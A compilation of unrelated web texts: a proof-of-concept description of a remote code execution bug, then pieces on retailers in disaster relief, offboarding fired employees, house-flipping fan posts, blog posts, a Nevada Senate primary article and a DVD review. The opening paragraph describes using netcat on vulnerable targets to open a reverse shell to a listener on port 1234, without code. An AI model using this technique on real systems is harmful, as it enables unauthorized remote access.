This tool is only intended as a proof-of-concept, and thus, only has limited functionality. It uses a delay to check if a system is vulnerable – so if you notice it hanging while you're using it to check a given system, you may have some patching to do.
If a system is vulnerable, this script will then use netcat on the target system to spawn a reverse shell connection to port 1234 on the listening host, assuming that:
1) The target system has netcat installed
2) No firewall is blocking the connection
It should be noted that this is not the only attack scenario – there are other vectors through which this issue can be exploited (which makes this issue all the more dangerous). It's also, in a way, not as bad as initial impressions may make it seem – while software such as OpenSSH may indeed be vulnerable, this doesn't mean that an unauthenticated attacker can get root on your system just because you use SSH (but other vulnerable services may allow an unauthenticated, remote attacker the ability to run arbitrary code).
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In the aftermath of a natural disaster, communities typically rely on government agencies, the military and local law enforcement to restore safety and stability. Recent disasters around the world, however, have demonstrated that the private sector can be just as important to the recovery process. Retailers, in particular, are nimble, resourceful and have shown that they can aid disaster response by distributing necessary supplies, offering staging areas for relief and coordinating nationwide support.
One of the reasons retailers can respond in ways that other organizations cannot is that they already have a presence near the affected area. Local retailers of all sizes possess local knowledge and have local relationships. Through these relationships, some retailers have become active participants in local emergency drills, such as California's "Great ShakeOut," which tests the preparedness of communities following an earthquake. These emergency exercises allow retailers to work with law enforcement and first responders to understand what their role might be in the first few hours following a disaster.
With a local presence, retailers can quickly offer shelter to victims or parking lots to relief workers. Or they can donate clothing, food, medicine or tools. After Hurricane Katrina, for example, Walmart offered its stores as shelter, provided supplies and established delivery routes to bring in critical supplies only hours after the storm. Larger retailers also have a national or worldwide support structure, so if one area has been hit, other locations can coordinate relief efforts from unaffected areas.
With their sophisticated logistical processes and distribution networks, retailers can also play a critical role in supplying hard-hit areas with life-saving necessities. An experienced retailer's ability to get goods to stores quickly, and efficiently can come in handy in times of crisis. Unlike government organizations that have to go into unfamiliar territory and set up supply networks from scratch, retailers are skilled at acquiring and staging needed merchandise.
During Hurricane Katrina, Home Depot's "war room" transferred high-demand items including generators, flashlights, batteries and lumber to distribution locations surrounding the hardest-hit areas. FedEx helped establish radio communication on-site for emergency responders and law enforcement. It then set up its own temporary operations at Lafayette Regional Airport to deliver much-needed supplies to New Orleans. And during relief efforts for Haiti, retailers were able to play a vital role by airlifting supplies and diverting containers on the ground or by sea to the areas where they were needed.
Harnessing Consumer Power
No other type of business has the ability to tap into a massive consumer base like retailers. Whether through brick-and-mortar locations, online stores or social networks such as Facebook and Twitter, retailers have access to people with open wallets who are willing to help.
Time and again, retailers have demonstrated their power to impact communities by collecting donations. Who has not been at the grocery store check-out and been asked to donate a dollar for charity? Retailers have also served as centers for donation drop-offs, sold fund-raising items such as CDs and apparel, and provided "disaster recovery" bins in stores so customers can purchase emergency kits ready to be delivered to people in need.
Restaurants have similarly held special events to bring in diners by offering to donate a portion of sales to a charity in need. The second largest casual dining chain, Brinker International, owner of Chili's, On the Border Mexican Grill and Maggiano's Little Italy, has developed processes so efficient in responding to disasters that it is able to open its restaurants within hours of a catastrophe and cook food to feed victims and relief workers. According to Bill Heine, senior director of corporate security for Brinker, this level of disaster preparedness is not only necessary to sustain business continuity but a way to give back to the community that supports its restaurants year round.
Following the earthquake in Haiti, retailers did more than just collect cash donations. They implemented creative promotions that took into account very specific needs of the victims. Duane Reade, for example, partnered with MoneyGram International to enable customers to wire funds to Haiti free of charge. Furniture retailer Relax the Back provided beds to people in Haiti through its "Buy a Bed, Give a Bed" promotion and Soles4Souls, a well-known shoe charity, teamed up with several retailers, including Foot Solutions, to collect donated shoes for victims of the quake.
Social Responsibility
Despite a tough year of declining sales and eroding profits, retailers dug deep into their pockets in early 2010. As part of their corporate social responsibility efforts, retailers donated cash and grew their charitable foundations to help the victims of the Haiti earthquake. Walmart Foundation announced it would donate $500,000 while Target met that donation and also gave one million meals to earthquake victims. Wegmans donated $100,000 through its charitable arm and Publix developed the Haiti Relief & Development Fund, channeled through the American Red Cross. Additionally, the CVS Caremark Charitable Trust announced a $175,000 donation to humanitarian organizations involved in the earthquake relief effort in Haiti.
One of the best ways retailers can help a community, region or country is to use their global influence and the power of trade to fuel long-term economic growth. In February, U.S. Trade Representative Ron Kirk unveiled Plus One for Haiti, a plan that encourages U.S. brands and retailers to help Haiti by sourcing at least 1% of their total apparel production from Haitian textile manufacturers.
"To continue to grow Haitian apparel exports and help Haiti's economy for the long term, additional investment in and sourcing from Haiti is critical," said Kirk. "One percent may seem small, but it means new jobs and new opportunities for the Haitian people who so desperately need forward-looking solutions in the wake of January's devastating earthquake. And critically, a coordinated effort that promises increased sourcing can encourage investors to get Haitian factories up and running again, and provide the demand necessary to encourage expansion of apparel manufacturing capacity."
Meanwhile, retailers that were previously sourcing products out of Haiti have taken an active role the country's recovery. "Despite the recent devastating tragedy, we are committed to Haiti resuming its rightful place again in the sourcing community," said Mark D'Sa, senior director of sourcing and production at Gap Inc., in a congressional testimony in March. "Our staff is working with Gap Inc.-contracted factories to facilitate a full return to business while working with the Haitian government and departments of the U.S. government to explore some of the other ways that the infrastructure might be improved in order to attract more potential investors to the country." D'Sa also called for an amendment to current trade legislation that would allow more products from Haiti to have duty-free access into the United States, which would create more jobs in the textile industry and help improve Haiti's overall economic picture.
The competence of retail organizations in recent emergencies has served as striking contrast to the performance of public sector agencies that at times have seemed disorganized and ineffective. By utilizing their unique expertise and the power of their consumer base, retailers have proven that they can be an integral part of any disaster preparedness or recovery effort.


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Terminating an employee is almost inevitable. It happens—someone's not a good fit, they're not as qualified as they seemed, or their performance just isn't what it should be. Aside from assuaging morale and checking in with your remaining employees, there are a few other steps you need to take after you let someone go. Here are the security matters you need to handle when an employee is fired from your team.
Send a Letter of Obligation
Dispatch a letter to the former employee to let him know of any continuing obligations per the employment contract they signed. They might still owe you some work, they might have been let in on some confidential information, or they might have signed a non-compete agreement.
Have the Keys Returned
Any keys the employee had that accessed the building should be returned. This includes electronic cards. If the keys are not returned, the locks should be changed as soon as possible. Even if you completely trust the former employee, you never know when those keys might get misplaced or stolen. As long as keys are out there, your company is vulnerable. If he had any security alarm codes for the building, change those as well.
Cancel the Credit Card
If the employee had a company credit card, it should be returned. And whether or not it is, you should call the credit card company and cancel the card. Just to be safe.
Change the Internet Passwords
If the employee knew passwords to other websites that the company used—think Facebook, the bank—those passwords and administrative rights should be changed.
Cancel the Remote Access
Company laptops, phones, or tablets should be returned. If they had access to your network, your IT department or Internet provider should remove his access codes.
Reassign Emails
Set up an auto-response email from the former employee's account, letting people know that he no longer works for the company and redirect them to another employee if they still need to contact the company. The same should be done for his voicemail greeting. Emails and voicemails can either be forwarded automatically or someone can routinely check the account to make sure no important communications are slipping through the cracks.
Remove from Payroll
After the final pay period that you're contractually obligated to pay your employee, remove him from payroll and your benefits package. Make sure you roll over any retirement savings plan and handle any special provisions for COBRA or his 401(k).
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Richard Davis, the President & CEO of Trademark Properties of Charleston, SC has proven time and time again that he is the King of House Flipping and an overall good guy. If you have not yet seen it, be sure to catch the reruns on TLC of the episode of Real Estate Pros called "Homerun for Trademark" when Trademark Properties took on a project that was nothing short of honorable in restoring the home of late baseball great, Shoeless Joe Jackson whom was banned from the game in 1920 for alleged conspiracy to fix the world series. This great deed was spawned by one of Richard's sons, a baseball player too. In true Trademark fashion, Richard and his team of Real Estate Pros took the project down to the wire after cutting the house in half and moving it to a new location and restoring it. But as always, he delivered on time, and with quality work that Shoeless Joe would be proud of.
In this same episode, Richard being the baseball fan that he is, managed to help a fallen baseball hopeful and purchase a minor league team, all in a day's work. Former MLB draft pick Josh Hamilton, whom may be formally known for his previous drug and alcohol abuse which eventually led to the demise of his career, is a good friend of Richard's. Richard assisted Josh with work while training to return to the league, and acted as a positive mentor. Josh Hamilton has since become sober, changed his life, gone on to play for the Texas Rangers, and is an All-Star in Major League Baseball. Check him out @ http://mlb.mlb.com/team/player.jsp?player_id=285078.
Richard is not only the King of the Flip, but an all around smart and diversified businessman. In addition to a successful Real Estate company, franchising & helicopters, he has now invested in the purchase of a minor league baseball team.
Take a look at http://www.flipthislawsuit.com/. This site is dedicated to giving the low-down on Richard Davis and Trademark Property's recent lawsuit regarding a contract breach with A&E, and Trademark Properties not being reimbursed correctly for the hit television show, "Flip That House". According to this site, this is the reason that Richard and company have since started a new show on TLC titled "Real Estate Pros", and since then, "Flip That House" and A&E's poor attempt to replace Richard Davis with other crews in Boston, San Antonio and Atlanta have fallen short. Let's be truthful. Trademark Properties is truly THE REAL DEAL. They are professional, experienced, and don't go through the crazy unorganized situations that these other teams do on television. Be sure to watch Real Estate Proson TLC. We look forward to the new season of the Original and King of the Flip. No imposters. Just the REAL DEAL. Richard Davis & Trademark Properties
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Tell me fans, what has happened to Real Estate Guru, Richard Davis & his Trademark Properties Team? For those of you whom don't know, Richard Davis is the founder of the successful full-service real estate firm dubbed Trademark Properties based out of Charleston, SC. Mr Davis developed the popular television series on TLC called Flip That House, and later created a new show called The Real Estate Pros. Those of us whom are fans know that Richard & his talented team including Ginger, are knowledgeable and in my opinion, brought house flipping to the mainstream with their first TV show. Flip that house has since changed a great deal. We have seen a team from Boston made up of an ex-male model and NFL football player, a total of three different Atlanta, Ga based teams, and probably the next most successful team under Richard Davis in Armando Montelongo, which has also broken up since it first aired. But that is another story.
We have been watching re-runs for far too long. What has happend to the new episodes? If anyone has any info on where us FLIP FANS can get our daily fix of Richard Davis & the Real Estate Pros, including any airing times or TV channels, please let us all know.
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Thank you for Reading—Here's a FREE gift June 11, 2008Posted by bidrealm in Uncategorized.
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Paint your House "GREEN" & your life @ Bidrealm.NET June 10, 2008Posted by bidrealm in Uncategorized.
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"Going Green" is the "IN" thing right now, as it should be. We as human beings, and especially as Americans, have consistently contributed to let's face it, destroying our planet. Between Factory smoke stacks, gas guzzling automobiles and litter, we are killing ourselves by emitting harmful gasses into the atmosphere and using all of our natural resources.
On a side note, this is something that has been burning me up for the last couple of months, and there is no reason for it. Here in Raleigh, NC where I live, and where our company Bidrealm.NET Inc. (www.bidrealm.net), is located, I live in a neighborhood that is a massive subdivision with thousands of homes and subsequently very small yards. Here in Raleigh, we had been on a water restriction due to shortage of rain along with mass water consumption for a while, and it was just lifted recently. But, there are still the few geniuses in my neighborhood who insist on watering their 2X2 lawns, with an automatic sprinkler that stays on all the time and basically waters the street. In 102 degree heat mind you. News flash people, the street does not grow. You are wasting water for no good reason.
Simply put, GO GREEN. This means:
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7. Carpool or purchase a hybrid automobile
For more information on what you can do to help save our planet and the lives of our children's children, go to http://planetgreen.discovery.com/. Planet Green by. the Discovery Channel is a website and TV station developed to help us learn about how to stay GREEN. At Planet Green's website you can see how to stay GREEN in your everyday life with everything from fashion and beauty, food and health, to travel, work, and home and garden. Visit there website, and check your cable or satellite provider for their television show listings. Get informed and inform others on how we can be more planet conscious.
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Women & Home Improvement series (part 4) THE HANDYWOMAN GRAND FINALE June 9, 2008Posted by bidrealm in Uncategorized.
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As I mentioned to you in part 1 of this series, my wife has taken the bull by the horn and is making home improvements in our house left and right, and her favorite thing is her drill. With a good cordless power drill, you can just about fix or improve anything, with the right attachment. Barbara K @ www.barbarak.com, has developed a website that specializes in TOOLS FOR WOMEN. You can view information in the latest hammers, wrenches, pliers, glue guns, power tools and other tools. Currently Barbara K has posted directions on how to install an attic fan. Between me and you, I hope she posts a "How To" on installing a ceiling fan, because I have a new one in the box that has been sitting around for a year waiting to get installed. Of course at this point we all know that my wife will no doubt get that going before long. My wife is an attorney who loves to do home improvement projects. She works hard at the court all day, and then handles business at home too. She is the new Handywoman. So too all you men out there, give your Handywoman her credit where credit is due. Not only does she know more and do more than you think, she may also know more and do more than you. Step your game up. Bidrealm.NET is here to help with that. No matter what your home improvement familiarity is, from novice to expert, register for FREE at www.bidrealm.net, and let a certified, bonified pro compete for your business. Let go of the hassle so that you can focus on the rest of your life's many decisions. @ Barbara K's website, be sure to checkout the "How to project of the week". In addition, look at industry related books and news, & even join the gift registry. So, for the Handywoman bride to be of 2008, don't settle for just the typical wedding registry @ Bed Bath & Beyond, Target to Belk, add www.barbarak.com too.
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1,000,000 Bid Challenge——-By. Bidrealm.NET Inc. May 31, 2008Posted by bidrealm in Uncategorized.
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WASHINGTON — Senator Dean Heller, Republican of Nevada, quickly found the limits of party loyalty on Tuesday when a businessman with a famous name in the state announced he was challenging him in a primary.
Mr. Heller, after weeks of publicly agonizing over Republicans' drive to repeal the Affordable Care Act, stuck with party leadership and voted for a pared-down version of the legislation.
But Mr. Heller's support was not enough to get the bill passed, as three other Republicans torpedoed the measure.
On Tuesday, Danny Tarkanian, a Nevada businessman and serial candidate for elected office, announced that he would take on Mr. Heller, who was already the most vulnerable Senate Republican incumbent on the ballot next year.
Mr. Tarkanian — the son of Jerry Tarkanian, the legendary former Nevada college basketball coach — fiercely criticized Mr. Heller, calling him the personification of a wavering politician.
"He has no convictions, he doesn't stand by his word," Mr. Tarkanian said in an interview, citing the health care bill, federal funding for Planned Parenthood and illegal immigration.
And he said Mr. Heller would pay the price with conservative Nevada voters for refusing to back President Trump in last year's campaign.
"I didn't run away from the president when I ran last time when I had all sorts of pressure, so I'm certainly not going to this time when I think he's doing lots of good things," said Mr. Tarkanian, who narrowly lost a 2016 House race and was one of the few high-profile Nevada Republicans to not back away from Mr. Trump.
Mr. Heller, who is facing what is expected to be a well-funded opposition from Representative Jacky Rosen, a Democrat, greeted the news of his challenger with ridicule.
"Danny Tarkanian is a perennial candidate who has spent millions of dollars on five campaigns over the last decade," said Tommy Ferraro, a spokesman for Mr. Heller's campaign. "Nevada voters have rejected him every time — including less than a year ago against Jacky Rosen. He's wasted conservatives' time and cost the Republican Party seats up and down the ballot. If he ultimately files for U.S. Senate he will lose in the primary."
Mr. Tarkanian declared his candidacy in an early-morning interview on "Fox & Friends," well before most Nevada voters were awake but with the assumption that Mr. Trump was tuning in from his summer vacation in New Jersey.
"We're never going to make America great again unless we have senators in office that fully support President Trump and his 'America First' agenda," said Mr. Tarkanian, the skyline of the pre-dawn Las Vegas Strip glowing behind him.
Mr. Heller has had something of a tense relationship with Mr. Trump, dating to last year's election. It got rockier this summer after the senator and Gov. Brian Sandoval of Nevada used a heavily publicized Las Vegas news conference to excoriate a version of the Republican health care bill that would have phased out the Medicaid expansion.
A political group aligned with the White House began airing ads in Nevada criticizing Mr. Heller, only to pull them when Senator Mitch McConnell, the majority leader, and other Republican senators complained to Mr. Trump.
Yet Mr. Trump made life more difficult for Mr. Heller, the only Senate Republican running next year in a state carried by Hillary Clinton, a few weeks later in the White House.
Sitting next to the senator as cameras rolled, the president jabbed a thumb in Mr. Heller's direction and said, "This was the one we were worried about."
Predicting that the Nevadan would eventually fall in line, Mr. Trump offered an assessment of Mr. Heller's political calculation that was notably short on subtlety.
"Look, he wants to remain a senator, doesn't he?" the president said, drawing an exaggerated laugh from Mr. Heller. "And I think the people of your state, which I know very well, I think they're going to appreciate what you hopefully will do."
Just how much Mr. Trump appreciates Mr. Heller's vote will play a crucial role in the primary. While conservative challengers in recent years have defeated a handful of Senate Republicans, and given even more a scare, that was before Mr. Trump took office. His decision about whether to intervene in Nevada and in Arizona, where Senator Jeff Flake is expected to face Republican opposition next year, will partly determine how much money and attention these primaries draw.
Mr. Tarkanian said he had not been in touch with the president and had not received encouragement from the White House.
Asked about what could be one of the most hard-fought primaries in the country, a senior White House official would not offer a firm declaration but did point out that Mr. Heller had ultimately sided with party leaders on the health care push.
What is clear is that the senator will have both the Senate Republican campaign arm and the well-funded "super PAC" run by Mr. McConnell's allies at his disposal.
Mr. Tarkanian argued that he would make his challenge a "national race" and gleefully noted that Fox was already replaying his interview. But he was candid when asked how he would raise enough money to muster a competitive statewide race: "I don't know," he said.
He invoked the example of his father, whose birthday would have been Tuesday, when pressed about his track record of losing races. He noted that the University of Nevada, Las Vegas, lost year after year to more established college basketball powers before trouncing Duke in the 1990 national championship.
"Just like my dad, we're going to persevere and we're going to win," he vowed.


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"It's dangerous to love. Isn't that so Suzie?"
DVD ReviewWatching The Man Who Cried is a lot like sitting behind the wheel of a fully loaded luxury car that has no engine. On the surface it is exquisite in its beauty, though one is saddened to realize that there is really nothing there to drive the picture along. With The Man Who Cried director Sally Potter (Orlando, The Tango Lesson) continues to craft films that are high on style but unfortunately low on substance. The Man Who Cried deals with the life of Fegele (shown at age 10 as the movie opens) a young Jewish child being raised in 1920s' Russia who will make her way to Paris in a time of war. As was the case with much of Russia then, making a living was difficult, leaving Fegele's father to head to America in search of the riches his family deserved. Not long after her father departs, Fegele's grandmother sends her away from the progroms, arriving in a British orphanage where she is given the name Suzie and adopted by a well-meaning British couple. The next time we see Suzie (now played by Ricci) she is in Paris and living the life of a dancer. In a time of war her secret that she is Jewish is closely guarded and shared only by her roommate Lola (Blanchett) and Lola's boyfriend Dante (Turturro). While Suzie saves her pay in order to make it to America and reunite with her father, she meets a gypsy named Cesar (Depp) and soon her plans of sailing to America are replaced by the web of love. As Suzie is happily falling in love, she is also in danger due to the advancing Nazi forces. Put simply, The Man Who Cried is really sort of a bore. We never connect with the characters to care for them, and several are so largely over the top that it becomes hard to even like any of them. Potter, working from her own script, seems to linger too long in several scenes making the hour-and-a-half length seem twice that. Potter's script also fails to create any sort of believable love story, feeling more like a daytime soap opera. The central love story between Cesar and Suzie seems to consist largely of the two looking longingly into each other's eyes while not saying a word. Fans of the Romance Channel should eat this stuff up, though. This is too bad, because, as mentioned above, The Man Who Cried is absolutely wonderful from a technical standpoint. The cinematography by the legendary Sacha Vierny is absolutely amazing in its beauty. Vierny paints 1930s' Paris with muted blues and drab tans that makes each shot feel like a painting from that time period. Vierny, who worked with Luis Bunuel and Peter Greenaway, passed away ten days before the release of The Man Who Cried in May of 2001, allowing his last great work to be perhaps his lasting mark on cinematic history. With a cast that includes Christina Ricci, Cate Blanchett, Johnny Depp, and John Turturro , The Man Who Cried is one of only a few films to include nearly an across the board roster of my favorite actors and actresses. Sadly though none of the group gives a stand out performance. Ricci (who is more beautiful with each passing film) is fine, though her performance feels flat and fails to imbue the viewer with the sort of compassion needed to make it successful. Normally unrecognizable from film to film, Depp's character seems to have wandered in from Chocolat. Most frustrating, Blanchett and Turturro are horribly miscast in their roles, both completely over the top in their performances, particularly Turturro as an opera singer.
Rating for Style: A-
Rating for Substance: C+
Image Transfer
Image Transfer Review: With its amazing cinematography the 1.85:1 anamorphic transfer for The Man Who Cried looks simply terrific. The muted colors by cinematographer Vierny come off beautifully with the harsh blues and vibrant colors of the Paris set scenes looking nothing short of perfect. Sharpness and detail are also each nearly flawless though some shots contain a soft look, which may have been intentional. Print flaws and edge enhancement are kept to a minimum.
Image Transfer Grade: B+
Audio Transfer
Audio Transfer Review: Universal has graciously provided The Man Who Cried with both a Dolby Digital and DTS sound mix. At first glance the inclusion of both may seem a bit silly given the dialogue heavy mix, but it is in subtlety that the soundtracks for The Man Who Cried score. Ambient sounds are nicely placed in the rear speakers, though they are never showy. Towards the end of the film when the Nazis invade the surrounds briefly give way to more dynamic action. Dialogue is clean and crisp while the score is beautifully mixed across each of the speakers. A face off between the Dolby Digital and DTS tracks provided no overwhelming favorite, though the DTS track does have a bit better definition and is mixed a bit louder. A French Dolby Digital 5.1 mix is also available.
Audio Transfer Grade: A-
Disc ExtrasStatic menu
Scene Access with 18 cues and remote access
Subtitles/Captions in English with remote access
Cast and Crew Biographies
Cast and Crew Filmographies
1 Original Trailer(s)
4 Other Trailer(s) featuring Beautiful Creatures, Rat, Pavillion Of Women, Buffalo '66
Production Notes
Weblink/DVD-ROM Material
Packaging: Amaray
Picture Disc
1 Disc
1-Sided disc(s)
Layers: RSDL
Extras Review: Theatrical trailers for Beautiful Creatures, Rat, Pavillion Of Women, and Buffalo '66 are available for viewing in the recommendations section while the trailer for The Man Who Cried is presented in anamorphic widescreen with Dolby Surround. Production notes and DVD-ROM content round out the extra features.
Extras Grade: C+
Final CommentsAs a technical achievement The Man Who Cried is off the charts with its sumptuous cinematography and music. Lackluster performances and a week script, however, make me unable to recommend the film.
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